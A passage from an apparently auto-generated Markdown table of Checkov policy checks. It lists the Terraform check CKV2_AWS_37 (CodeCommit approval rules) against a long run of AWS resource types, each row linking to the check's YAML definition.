CKV2_AWS_37     | resource | aws_grafana_role_association                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1251 | CKV2_AWS_37     | resource | aws_grafana_workspace                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1252 | CKV2_AWS_37     | resource | aws_grafana_workspace_api_key                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1253 | CKV2_AWS_37     | resource | aws_grafana_workspace_saml_configuration                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1254 | CKV2_AWS_37     | resource | aws_grafana_workspace_service_account                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1255 | CKV2_AWS_37     | resource | aws_grafana_workspace_service_account_token                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1256 | CKV2_AWS_37     | resource | aws_guardduty_detector                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1257 | CKV2_AWS_37     | resource | aws_guardduty_detector_feature                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1258 | CKV2_AWS_37     | resource | aws_guardduty_filter                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1259 | CKV2_AWS_37     | resource | aws_guardduty_invite_accepter                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1260 | CKV2_AWS_37     | resource | aws_guardduty_ipset                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1261 | CKV2_AWS_37     | resource | aws_guardduty_malware_protection_plan                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1262 | CKV2_AWS_37     | resource | aws_guardduty_member                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1263 | CKV2_AWS_37     | resource | aws_guardduty_member_detector_feature                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1264 | CKV2_AWS_37     | resource | aws_guardduty_organization_admin_account                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1265 | CKV2_AWS_37     | resource | aws_guardduty_organization_configuration                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1266 | CKV2_AWS_37     | resource | aws_guardduty_organization_configuration_feature                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1267 | CKV2_AWS_37     | resource | aws_guardduty_publishing_destination                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1268 | CKV2_AWS_37     | resource | aws_guardduty_threatintelset                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1269 | CKV2_AWS_37     | resource | aws_iam_access_key                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1270 | CKV2_AWS_37     | resource | aws_iam_account_alias                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1271 | CKV2_AWS_37     | resource | aws_iam_account_password_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1272 | CKV2_AWS_37     | resource | aws_iam_group                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1273 | CKV2_AWS_37     | resource | aws_iam_group_membership                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1274 | CKV2_AWS_37     | resource | aws_iam_group_policies_exclusive                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1275 | CKV2_AWS_37     | resource | aws_iam_group_policy                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1276 | CKV2_AWS_37     | resource | aws_iam_group_policy_attachment                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1277 | CKV2_AWS_37     | resource | aws_iam_group_policy_attachments_exclusive                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1278 | CKV2_AWS_37     | resource | aws_iam_instance_profile                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1279 | CKV2_AWS_37     | resource | aws_iam_openid_connect_provider                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1280 | CKV2_AWS_37     | resource | aws_iam_organizations_features                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1281 | CKV2_AWS_37     | resource | aws_iam_policy                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1282 | CKV2_AWS_37     | resource | aws_iam_policy_attachment                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1283 | CKV2_AWS_37     | resource | aws_iam_policy_document                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1284 | CKV2_AWS_37     | resource | aws_iam_role                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1285 | CKV2_AWS_37     | resource | aws_iam_role_policies_exclusive                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1286 | CKV2_AWS_37     | resource | aws_iam_role_policy                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1287 | CKV2_AWS_37     | resource | aws_iam_role_policy_attachment                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1288 | CKV2_AWS_37     | resource | aws_iam_role_policy_attachments_exclusive                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1289 | CKV2_AWS_37     | resource | aws_iam_saml_provider                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1290 | CKV2_AWS_37     | resource | aws_iam_security_token_service_preferences                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1291 | CKV2_AWS_37     | resource | aws_iam_server_certificate                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1292 | CKV2_AWS_37     | resource | aws_iam_service_linked_role                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1293 | CKV2_AWS_37     | resource | aws_iam_service_specific_credential                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1294 | CKV2_AWS_37     | resource | aws_iam_signing_certificate                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1295 | CKV2_AWS_37     | resource | aws_iam_user                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1296 | CKV2_AWS_37     | resource | aws_iam_user_group_membership                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1297 | CKV2_AWS_37     | resource | aws_iam_user_login_profile                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1298 | CKV2_AWS_37     | resource | aws_iam_user_policies_exclusive                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1299 | CKV2_AWS_37     | resource | aws_iam_user_policy                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1300 | CKV2_AWS_37     | resource | aws_iam_user_policy_attachment                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1301 | CKV2_AWS_37     | resource | aws_iam_user_policy_attachments_exclusive                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1302 | CKV2_AWS_37     | resource | aws_iam_user_ssh_key                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1303 | CKV2_AWS_37     | resource | aws_iam_virtual_mfa_device                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1304 | CKV2_AWS_37     | resource | aws_identitystore_group                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1305 | CKV2_AWS_37     | resource | aws_identitystore_group_membership                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1306 | CKV2_AWS_37     | resource | aws_identitystore_user                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1307 | CKV2_AWS_37     | resource | aws_imagebuilder_component                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1308 | CKV2_AWS_37     | resource | aws_imagebuilder_container_recipe                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1309 | CKV2_AWS_37     | resource | aws_imagebuilder_distribution_configuration                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1310 | CKV2_AWS_37     | resource | aws_imagebuilder_image                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1311 | CKV2_AWS_37     | resource | aws_imagebuilder_image_pipeline                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1312 | CKV2_AWS_37     | resource | aws_imagebuilder_image_recipe                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1313 | CKV2_AWS_37     | resource | aws_imagebuilder_infrastructure_configuration                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1314 | CKV2_AWS_37     | resource | aws_imagebuilder_lifecycle_policy                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1315 | CKV2_AWS_37     | resource | aws_imagebuilder_workflow                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1316 | CKV2_AWS_37     | resource | aws_inspector2_delegated_admin_account                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1317 | CKV2_AWS_37     | resource | aws_inspector2_enabler                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1318 | CKV2_AWS_37     | resource | aws_inspector2_member_association                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1319 | CKV2_AWS_37     | resource | aws_inspector2_organization_configuration                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1320 | CKV2_AWS_37     | resource | aws_inspector_assessment_target                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1321 | CKV2_AWS_37     | resource | aws_inspector_assessment_template                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1322 | CKV2_AWS_37     | resource | aws_inspector_resource_group                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1323 | CKV2_AWS_37     | resource | aws_instance                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1324 | CKV2_AWS_37     | resource | aws_internet_gateway                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1325 | CKV2_AWS_37     | resource | aws_internet_gateway_attachment                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1326 | CKV2_AWS_37     | resource | aws_internetmonitor_monitor                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1327 | CKV2_AWS_37     | resource | aws_iot_authorizer                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1328 | CKV2_AWS_37     | resource | aws_iot_billing_group                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1329 | CKV2_AWS_37     | resource | aws_iot_ca_certificate                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1330 | CKV2_AWS_37     | resource | aws_iot_certificate                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1331 | CKV2_AWS_37     | resource | aws_iot_domain_configuration                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1332 | CKV2_AWS_37     | resource | aws_iot_event_configurations                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1333 | CKV2_AWS_37     | resource | aws_iot_indexing_configuration                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1334 | CKV2_AWS_37     | resource | aws_iot_logging_options                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1335 | CKV2_AWS_37     | resource | aws_iot_policy                                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1336 | CKV2_AWS_37     | resource | aws_iot_policy_attachment                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1337 | CKV2_AWS_37     | resource | aws_iot_provisioning_template                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1338 | CKV2_AWS_37     | resource | aws_iot_role_alias                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1339 | CKV2_AWS_37     | resource | aws_iot_thing                                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1340 | CKV2_AWS_37     | resource | aws_iot_thing_group                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1341 | CKV2_AWS_37     | resource | aws_iot_thing_group_membership                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1342 | CKV2_AWS_37     | resource | aws_iot_thing_principal_attachment                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n| 1343 | CKV2_AWS_37     | 